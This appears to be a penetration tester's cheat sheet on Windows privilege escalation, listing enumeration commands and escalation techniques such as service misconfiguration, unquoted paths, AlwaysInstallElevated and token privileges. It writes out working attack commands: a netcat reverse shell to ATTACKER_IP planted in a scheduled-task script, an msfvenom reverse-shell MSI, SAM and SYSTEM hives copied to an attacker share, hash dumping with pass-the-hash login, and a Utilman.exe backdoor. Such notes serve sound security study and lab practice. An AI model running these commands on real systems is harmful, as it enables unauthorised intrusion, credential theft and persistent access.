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<div class="column column-3">
<ul>
<li><a href="#windows-privilege-escalation">Windows Privilege Escalation</a><ul>
<li><a href="#links">Links</a></li>
<li><a href="#account-types">Account Types</a></li>
<li><a href="#enumeration">Enumeration</a><ul>
<li><a href="#users-groups">Users &amp; Groups</a></li>
<li><a href="#files">Files</a></li>
<li><a href="#system">System</a></li>
</ul>
</li>
<li><a href="#exploit">Exploit</a><ul>
<li><a href="#dll-hijacking">DLL Hijacking</a></li>
<li><a href="#unquoted-service-path">Unquoted Service Path</a></li>
<li><a href="#token-impersonation">Token Impersonation</a></li>
<li><a href="#schedules-tasks">Schedules Tasks</a></li>
<li><a href="#msi-elevated-installer">MSI Elevated Installer</a></li>
<li><a href="#search-for-credentials">Search for Credentials</a></li>
<li><a href="#accesschk64-permissions">accesschk64 Permissions</a><ul>
<li><a href="#accesschk64-for-services">accesschk64 for Services</a></li>
</ul>
</li>
<li><a href="#startup-application">Startup Application</a></li>
<li><a href="#password-mining">Password Mining</a></li>
<li><a href="#unattended-windows-installation">Unattended Windows Installation</a></li>
<li><a href="#powershell-history-file">Powershell History file</a></li>
<li><a href="#internet-information-services-iis">Internet Information Services (IIS)</a></li>
<li><a href="#putty">Putty</a></li>
<li><a href="#schtask-and-icacls">schtask and icacls</a></li>
<li><a href="#always-installs-elevated">Always Installs Elevated</a></li>
<li><a href="#service-misconfiguration">Service Misconfiguration</a></li>
<li><a href="#unquoted-service-path_1">Unquoted Service Path</a></li>
<li><a href="#permissions">Permissions</a><ul>
<li><a href="#sebackup-restore">SeBackup / Restore</a></li>
<li><a href="#setakeownership">SeTakeOwnership</a></li>
<li><a href="#seimpersonate-seassignprimarytoken">SeImpersonate / SeAssignPrimaryToken</a></li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
</ul>
</div>
<h1 id="windows-privilege-escalation">Windows Privilege Escalation</h1>
<h2 id="links">Links</h2>
<ul>
<li><a href="https://www.fuzzysecurity.com/tutorials/16.html">Fundamentals</a></li>
<li><a href="https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp">PowerShellEmpire</a></li>
<li><a href="https://github.com/411Hall/JAWS">JAWS</a></li>
<li><a href="https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS">winpeas</a></li>
<li><a href="https://github.com/itm4n/PrivescCheck">privescheck</a></li>
<li><a href="https://github.com/bitsadmin/wesng">windows exploit suggester</a></li>
<li><a href="https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation">hacktricks</a></li>
</ul>
<h2 id="account-types">Account Types</h2>
<ul>
<li><strong>Administrator</strong> local &amp; domain</li>
<li><strong>Standard</strong> local &amp; domain</li>
<li><strong>Guest</strong></li>
<li><strong>System</strong>, local system, final escalation</li>
<li><strong>Local Service</strong>, got anonymous connections over network.</li>
<li><strong>Network Service</strong>, default service account, authentication via network</li>
</ul>
<h2 id="enumeration">Enumeration</h2>
<h3 id="users-groups">Users &amp; Groups</h3>
<div class="codehilite"><pre><span></span><code>whoami /priv
net users
net users &lt;username&gt;
net localgroup
net localgroup &lt;groupname&gt;
query session
qwinsta
</code></pre></div>
<h3 id="files">Files</h3>
<ul>
<li><a href="../../../../enumeration/windows/powershell.md">powershell</a></li>
</ul>
<h3 id="system">System</h3>
<div class="codehilite"><pre><span></span><code>hostname
systeminfo <span class="p">|</span> findstr /B /C:<span class="s2">&quot;OS Name&quot;</span> /C:<span class="s2">&quot;OS Version&quot;</span>
</code></pre></div>
<ul>
<li>Installed software, check for existing exploits</li>
</ul>
<div class="codehilite"><pre><span></span><code>wmic product get name,version,vendor
</code></pre></div>
<ul>
<li>Services</li>
</ul>
<div class="codehilite"><pre><span></span><code>wmic service list brief <span class="p">|</span> findstr <span class="s2">&quot;Running&quot;</span>
</code></pre></div>
<h2 id="exploit">Exploit</h2>
<h3 id="dll-hijacking">DLL Hijacking</h3>
<ul>
<li><a href="../../../../exploit/windows/dll_hijacking/dll_hijacking.md">DLL hijacking</a></li>
</ul>
<h3 id="unquoted-service-path">Unquoted Service Path</h3>
<ul>
<li><a href="../../../../exploit/windows/docs/unquoted_path.md">unquoted service path</a></li>
</ul>
<h3 id="token-impersonation">Token Impersonation</h3>
<ul>
<li><code>SeImpersonatePrivilege</code> is necessary, check via <code>whoami priv</code></li>
<li>Hot Potato is best before Server 2019 and Windows 10 (version 1809)</li>
<li><a href="../../../../exploit/windows/docs/potatoes.md">Potatos</a></li>
<li><a href="https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/">itm4n</a></li>
</ul>
<h3 id="schedules-tasks">Schedules Tasks</h3>
<ul>
<li><code>schtasks</code> and <code>schtasks /query /tn %TASK_NAME% /fo list /v</code></li>
<li><code>Autoruns64.exe</code></li>
</ul>
<h3 id="msi-elevated-installer">MSI Elevated Installer</h3>
<ul>
<li><a href="../../../../exploit/windows/docs/always_installed_elevated.md">Always install elevated</a></li>
</ul>
<h3 id="search-for-credentials">Search for Credentials</h3>
<div class="codehilite"><pre><span></span><code>cmdkey /list
</code></pre></div>
<ul>
<li>Use found credentials</li>
</ul>
<div class="codehilite"><pre><span></span><code>runas /savecred /user:&lt;user&gt; reverse_shell.exe
</code></pre></div>
<ul>
<li>Keys containing passwords</li>
</ul>
<div class="codehilite"><pre><span></span><code><span class="kt">reg</span><span class="w"> </span><span class="n">query</span><span class="w"> </span><span class="n">HKLM</span><span class="w"> </span><span class="o">/</span><span class="n">f</span><span class="w"> </span><span class="n">password</span><span class="w"> </span><span class="o">/</span><span class="n">t</span><span class="w"> </span><span class="n">REG_SZ</span><span class="w"> </span><span class="o">/</span><span class="n">s</span><span class="w"></span>
<span class="kt">reg</span><span class="w"> </span><span class="n">query</span><span class="w"> </span><span class="n">HKCU</span><span class="w"> </span><span class="o">/</span><span class="n">f</span><span class="w"> </span><span class="n">password</span><span class="w"> </span><span class="o">/</span><span class="n">t</span><span class="w"> </span><span class="n">REG_SZ</span><span class="w"> </span><span class="o">/</span><span class="n">s</span><span class="w"></span>
</code></pre></div>
<h3 id="accesschk64-permissions">accesschk64 Permissions</h3>
<ul>
<li>Check access to files and folders</li>
</ul>
<div class="codehilite"><pre><span></span><code>accesschk64 -wvu <span class="s2">&quot;file.exe&quot;</span>
</code></pre></div>
<ul>
<li>If permission <code>SERVICE_CHANGE_CONFIG</code> is set</li>
</ul>
<div class="codehilite"><pre><span></span><code> sc config &lt;service&gt; <span class="nv">binpath</span><span class="o">=</span><span class="s2">&quot;net localgroup administrators user /add&quot;</span>
</code></pre></div>
<ul>
<li><a href="../../../../exploit/windows/service_escalation/service_escalation.md">Service escalation</a></li>
<li>Any other binary works as well. Copy the compiled portable executable from the <code>service_escalation</code> onto the binary path.Restart the service afterwards.</li>
</ul>
<h4 id="accesschk64-for-services">accesschk64 for Services</h4>
<div class="codehilite"><pre><span></span><code>accesschk64 -qlc <span class="s2">&quot;service.exe&quot;</span>
</code></pre></div>
<ul>
<li>If permission <code>SERVICE_ALL_ACCESS</code> is set it is configurable upload a reverse shell</li>
</ul>
<div class="codehilite"><pre><span></span><code>icacls C:<span class="se">\W</span>indows<span class="se">\T</span>emp<span class="se">\s</span>hell.exe /grant Everyone:F
</code></pre></div>
<ul>
<li>Reconfigure and restart service</li>
</ul>
<div class="codehilite"><pre><span></span><code>sc config TheService <span class="nv">binPath</span><span class="o">=</span> <span class="s2">&quot;C:\Path\to\shell.exe&quot;</span> <span class="nv">obj</span><span class="o">=</span> LocalSystem
sc stop TheService
sc start TheService
</code></pre></div>
<h3 id="startup-application">Startup Application</h3>
<ul>
<li>Put reverse shell instead of an executable inside <code>C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup</code> </li>
</ul>
<h3 id="password-mining">Password Mining</h3>
<ul>
<li>Set up metasploit</li>
</ul>
<div class="codehilite"><pre><span></span><code>use auxiliary/server/capture/http_basic
<span class="nb">set</span> srvport <span class="m">7777</span>
<span class="nb">set</span> uripath pass
</code></pre></div>
<ul>
<li>Visit site on target</li>
</ul>
<h3 id="unattended-windows-installation">Unattended Windows Installation</h3>
<ul>
<li>Investigate the following paths to potentially find user credentials</li>
</ul>
<div class="codehilite"><pre><span></span><code>C:<span class="se">\U</span>nattend.xml
C:<span class="se">\W</span>indows<span class="se">\P</span>anther<span class="se">\U</span>nattend.xml
C:<span class="se">\W</span>indows<span class="se">\P</span>anther<span class="se">\U</span>nattend<span class="se">\U</span>nattend.xml
C:<span class="se">\W</span>indows<span class="se">\s</span>ystem32<span class="se">\s</span>ysprep.inf
C:<span class="se">\W</span>indows<span class="se">\s</span>ystem32<span class="se">\s</span>ysprep<span class="se">\s</span>ysprep.xml
</code></pre></div>
<ul>
<li>Watch out for the <code>&lt;Credentials&gt;</code> tags</li>
</ul>
<h3 id="powershell-history-file">Powershell History file</h3>
<div class="codehilite"><pre><span></span><code>Get-Content %userprofile%<span class="se">\A</span>ppData<span class="se">\R</span>oaming<span class="se">\M</span>icrosoft<span class="se">\W</span>indows<span class="se">\P</span>owerShell<span class="se">\P</span>SReadline<span class="se">\C</span>onsoleHost_history.txt
</code></pre></div>
<h3 id="internet-information-services-iis">Internet Information Services (IIS)</h3>
<ul>
<li>Default web server on windows</li>
<li>Paths containing credentials are the following</li>
</ul>
<div class="codehilite"><pre><span></span><code>C:<span class="se">\i</span>netpub<span class="se">\w</span>wwroot<span class="se">\w</span>eb.config
C:<span class="se">\W</span>indows<span class="se">\M</span>icrosoft.NET<span class="se">\F</span>ramework64<span class="se">\v</span><span class="m">4</span>.0.30319<span class="se">\C</span>onfig<span class="se">\w</span>eb.config
</code></pre></div>
<h3 id="putty">Putty</h3>
<ul>
<li>Saved proxy password credentials may be found via</li>
</ul>
<div class="codehilite"><pre><span></span><code>reg query HKEY_CURRENT_USER<span class="se">\S</span>oftware<span class="se">\S</span>imonTatham<span class="se">\P</span>uTTY<span class="se">\S</span>essions<span class="se">\ </span>/f <span class="s2">&quot;ProxyPassword&quot;</span> /s
</code></pre></div>
<h3 id="schtask-and-icacls">schtask and icacls</h3>
<ul>
<li>Check <code>schtasks /query /tn %TASK_NAME% /fo list /v</code></li>
<li>Check script for scheduled tasks, <code>F</code> means full access</li>
</ul>
<div class="codehilite"><pre><span></span><code>icacls &lt;PathToScript&gt;
</code></pre></div>
<ul>
<li>Put payload inside the script</li>
</ul>
<div class="codehilite"><pre><span></span><code><span class="nb">echo</span> <span class="s2">&quot;C:\tmp\nc.exe -e cmd.exe %ATTACKER_IP% 4711&quot;</span> &gt; &lt;PathToSript&gt;
</code></pre></div>
<ul>
<li>Run the task</li>
</ul>
<div class="codehilite"><pre><span></span><code>schtasks /run /tn &lt;taskname&gt;
</code></pre></div>
<h3 id="always-installs-elevated">Always Installs Elevated</h3>
<ul>
<li>These should be set</li>
</ul>
<div class="codehilite"><pre><span></span><code>C:<span class="se">\&gt;</span> reg query HKCU<span class="se">\S</span>OFTWARE<span class="se">\P</span>olicies<span class="se">\M</span>icrosoft<span class="se">\W</span>indows<span class="se">\I</span>nstaller
C:<span class="se">\&gt;</span> reg query HKLM<span class="se">\S</span>OFTWARE<span class="se">\P</span>olicies<span class="se">\M</span>icrosoft<span class="se">\W</span>indows<span class="se">\I</span>nstaller
</code></pre></div>
<ul>
<li>Craft <code>*.msi</code> file with a payload</li>
</ul>
<div class="codehilite"><pre><span></span><code>msfvenom -p windows/x64/shell_reverse_tcp <span class="nv">LHOST</span><span class="o">=</span><span class="nv">$ATTACKER_IP</span> <span class="nv">LPORT</span><span class="o">=</span><span class="nv">$ATTACKER_PORT</span> -f msi -o wizard.msi
</code></pre></div>
<ul>
<li>Upload and execute via</li>
</ul>
<div class="codehilite"><pre><span></span><code>msiexec /quiet /qn /i C:<span class="se">\W</span>indows<span class="se">\T</span>emp<span class="se">\w</span>izard.msi
</code></pre></div>
<h3 id="service-misconfiguration">Service Misconfiguration</h3>
<ul>
<li>Check services, watch out for <code>BINARY_PATH_NAME</code> and <code>SERVICE_START_NAME</code></li>
</ul>
<div class="codehilite"><pre><span></span><code>sc qc apphostsvc
</code></pre></div>
<ul>
<li>Check found permissions via</li>
</ul>
<div class="codehilite"><pre><span></span><code>icacls &lt;BINARY_PATH_NAME&gt;
</code></pre></div>
<ul>
<li>If the service binary path is writeable move the payload to its path and grant permissions</li>
</ul>
<div class="codehilite"><pre><span></span><code>icacls &lt;Payload_Service.exe&gt; /grant Everyone:F
</code></pre></div>
<div class="codehilite"><pre><span></span><code>sc stop &lt;service&gt;
sc start &lt;service&gt;
</code></pre></div>
<ul>
<li>Catch the reverse shell service</li>
</ul>
<p>Others ways are:
* Discretionary Access Control (DACL) can be opened via right click on the service and go to properties
* All services are stored under <code>HKLM\SYSTEM\CurrentControlSet\Services\</code></p>
<h3 id="unquoted-service-path_1">Unquoted Service Path</h3>
<ul>
<li>If <code>BINARY_PATH_NAME</code> spaces are escaped incorrectly. Its path will be resolved to every space from left to right. If there is a binary with a matching name inside the directory it will be started.</li>
<li>A created directory at install time inherits the permissions from its parent. Check it via</li>
</ul>
<div class="codehilite"><pre><span></span><code>icacls &lt;directory&gt;
</code></pre></div>
<ul>
<li>Use <code>service-exe</code> payload in msfvenom upload the payload and move it on the path with the a fitting parital name of the service path</li>
<li>Set permissions</li>
</ul>
<div class="codehilite"><pre><span></span><code>icacls C:<span class="se">\P</span>ath/to/service.exe /grant Everyone:F
</code></pre></div>
<h3 id="permissions">Permissions</h3>
<ul>
<li><a href="https://github.com/gtworek/Priv2Admin">priv2admin</a></li>
<li><code>whoami /priv</code></li>
</ul>
<h4 id="sebackup-restore">SeBackup / Restore</h4>
<ul>
<li>If <code>SeBackup / SeRestore</code> (rw on all files) is set an elevated <code>cmd.exe</code> may be opened</li>
<li>Download <code>SAM</code> and <code>System</code> hashes</li>
</ul>
<div class="codehilite"><pre><span></span><code>reg save hklm<span class="se">\s</span>ystem C:<span class="se">\W</span>indows<span class="se">\T</span>emp<span class="se">\s</span>ystem.hive
reg save hklm<span class="se">\s</span>am C:<span class="se">\W</span>indows<span class="se">\T</span>emp<span class="se">\s</span>am.hive
</code></pre></div>
<ul>
<li>Start smb server on attack machine</li>
</ul>
<div class="codehilite"><pre><span></span><code>copy C:<span class="se">\W</span>indows<span class="se">\T</span>emp<span class="se">\s</span>am.hive <span class="se">\\</span>ATTACKER_IP<span class="se">\</span>
copy C:<span class="se">\W</span>indows<span class="se">\T</span>emp<span class="se">\s</span>ystem.hive <span class="se">\\</span>ATTACKER_IP<span class="se">\</span>
</code></pre></div>
<ul>
<li>Dump the hashes</li>
</ul>
<div class="codehilite"><pre><span></span><code>secretsdump.py -sam sam.hive -system system.hive LOCAL
</code></pre></div>
<ul>
<li>Use pass the hash to login </li>
</ul>
<div class="codehilite"><pre><span></span><code>psexec.py -hashes &lt;hash&gt; administrator@<span class="nv">$TARGET_IP</span>
</code></pre></div>
<h4 id="setakeownership">SeTakeOwnership</h4>
<ul>
<li>If <code>SeTakeOwnership</code> is set one can take ownership of every file or service.</li>
</ul>
<div class="codehilite"><pre><span></span><code>takeown /f C:<span class="se">\W</span>indows<span class="se">\S</span>ystem32<span class="se">\U</span>tilman.exe
icacls C:<span class="se">\W</span>indows<span class="se">\S</span>ystem32<span class="se">\U</span>tilman.exe /grant &lt;user&gt;:F
copy cmd.exe utilman.exe
</code></pre></div>
<ul>
<li>Log out, on the Login screen click on <code>Ease of Access</code></li>
</ul>
<h4 id="seimpersonate-seassignprimarytoken">SeImpersonate / SeAssignPrimaryToken</h4>
<ul>
<li>It is a rouge potato</li>
<li>Execute process as another user</li>
<li>Service accounts operate through impersonation</li>
<li>Check privileges via <code>whoami /priv</code> for these </li>
<li><strong>Object Exporter Identifier (OXID)</strong> is executed as via DCOM as a resolver on port 135 to socket of attacker</li>
</ul>
<div class="codehilite"><pre><span></span><code>socat tcp-listen:135 reuseaddr,fork tcp:<span class="nv">$TARGET_IP</span>:1234
</code></pre></div>
<ul>
<li>Catch the potatoe executable from target via netcat</li>
</ul>
</span>
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